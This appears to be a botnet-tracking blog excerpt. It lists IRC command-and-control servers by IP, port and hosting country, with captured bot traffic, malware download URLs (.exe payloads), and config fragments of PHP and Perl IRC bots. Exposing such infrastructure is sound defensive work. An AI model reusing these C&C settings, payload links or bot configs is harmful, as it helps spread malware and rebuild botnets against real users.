This guy is heckers from United States of America sk9.no-ip.biz DNS_TYPE_A 76.231.162.14 YES TCP Connection Attempts: 76.231.162.14:3086 EXE Files: http://armoredfist01.fileave.com/manycam.exe http://armoredfist01.fileave.com/ hosting infos: http://whois.domaintools.com/76.231.162.14
toqak.cjb.net(albanian hecker scaning for vnc bot hosted in Russian Federation Moscow Ojsc Vimpelcom)
Remote Host Port Number 195.239.22.110 4244 NICK [nLh-VNC]phrkbv USER wjkfr “fo3.net” “rage” :wjkfr JOIN #v# sk PRIVMSG #v# : [RAGE SCAN:] range: 89.x.x.x/90 threads. hosting infos: http://whois.domaintools.com/195.239.22.110
91.211.117.152(ngrBot from fubar and jam3s hosted in Ukraine Zharkov Mukola Mukolayovuch)
Remote Host Port Number 213.251.170.52 80 91.211.117.152 1865 PASS ngrBot NICK n{US|XPa}tqmvmrd USER tqmvmrd 0 0 :tqmvmrd JOIN #main 4m3r1k4 JOIN #clean QUIT :removing hosting infos: http://whois.domaintools.com/91.211.117.152
92.241.164.155(ngrBot hosted in Russian Federation Oao Webalta)
Remote Host Port Number 174.132.149.187 80 208.79.237.100 80 213.251.170.52 80 92.241.164.155 7654 PASS ngrBot NICK n{US|XPa}sxwscly USER sxwscly 0 0 :sxwscly JOIN #oldgold noKIDs PRIVMSG #oldgold :[d=”http://buenosairesrestaurante.com/js/jquery/plugins/supefish.js.exe” s=”167936 bytes”] Updated bot file “C:Documents and SettingsUserNameApplication DataWcxaxw.exe” – Download retries: 0 PRIVMSG #oldgold :[DNS]: Blocked 0 domain(s) – Redirected 31 domain(s) hosting infos: http://whois.domaintools.com/92.241.164.155
27-225-115-208.reverse.lstn.net(600 linux bots hosted in United States Limestone Networks Inc)
class pBot { var $config = array(“server”=>”208.115.225.27”, “port”=>”2390”, “pass”=>””, “prefix”=>”BoT”, “maxrand”=>”3”, “chan”=>”#dada”, “chan2″=>”#dada”, “key”=>”123456”, “modes”=>”+p”, “password”=>”123”, “trigger”=>”.”, “hostauth”=>”*” // * for any hostname (remember: /setvhost xdevil.org) ); Clients: I have 162 clients and 0 servers Local users: Current Local Users: 162 Max: 585 Global users: Current Global Users: 162 Max: 477 Joins: [A]BoT824 12[ 15BoT545@rox-E8B5EA1.xrea.com]Read more...
ircb.iranserv.com(irc botnet hosted in Belgium Brussels Telenet N.v)
Finally first belgian hecker from Iran Remote Host Port Number 212.123.29.57 8080 NICK IC79467772 USER root 8 * : some name PONG :E1B2C2E5 JOIN #iseee PRIVMSG #iseee :&userid=COMPUTERNAME PONG :ircb.iranserv.com Telenet claim to be one of the best ISP in Belgium and this botnet is hosted in Telenet Network This is more funny: remarks: trouble:Read more...
213.58.198.106(irc botnet hosted in Portugal Lisbon Onitelecom – Infocomunicacoes S.a)
Remote Host Port Number 213.58.198.106 7107 NICK new[iRooT-XP-USA]694514 USER 4318 “” “TsGh” :4318 JOIN #!MSN! Coded PONG :irc.foonet.com NICK new[iRooT-XP-USA]389985 MODE #!Reklam! PRIVMSG #!Reklam! : OnLine… NICK DeliCocuk USER bruce “mIRC” “kayits.byinter.net” :KendiniBilmeZ JOIN #!Reklam! sikimiye MODE DeliCocuk +i USER 4207 “” “TsGh” :4207 JOIN #!MSN! Coded PRIVMSG #!MSN! :[Download]: Executed Successfully NICK anil USERRead more...
irc.unix-ccpower.com(linux bots hosted in United Kingdom Synergyworks Internet)
$servidor=’irc.unix-ccpower.com’ unless $servidor; my $porta=’7150′; my @adms=(“byz9991”); my @canais=(“#bot”); Resolved : [irc.unix-ccpower.com] To [64.186.152.41] Resolved : [irc.unix-ccpower.com] To [195.74.52.39] Resolved : [irc.unix-ccpower.com] To [200.75.12.211] hosting infos: http://whois.domaintools.com/195.74.52.39
70.107.249.167(irc botnet hosted in United States New York Verizon Online Llc)
Remote Host Port Number 70.107.249.167 3921 NICK GX454033315964 USER vrjvsahhszuw 0 0 :GX454033315964 USERHOST GX454033315964 MODE GX454033315964 +i JOIN #GLX . hosting infos: http://whois.domaintools.com/70.107.249.167
irc.ircatt.info(Gbot variant hosted in Germany Intergenia Ag)
Remote Host Port Number 188.138.89.21 2444 gBot gBot NICK n{USA|XP}lnatesd USER n{USA|XP}lnatesd 0 0 :n{USA|XP}lnatesd JOIN #Peach mychankey PRIVMSG #Peach :[FileProt]: File protection has been enabled for C:WINDOWSsystem32Windefend.exe Now talking in #Peach Topic On: [ #Peach ] [ .prot http://dl.dropbox.com/u/24455252/bins/java.exe] Topic By: [ Atthackers ] {ARE|W7}ywdxoqh) [FileProt]: File protection already enabled for C:WindowsSystem32Windefend.exe with http://dl.dropbox.com/u/24455252/bins/java.exeRead more...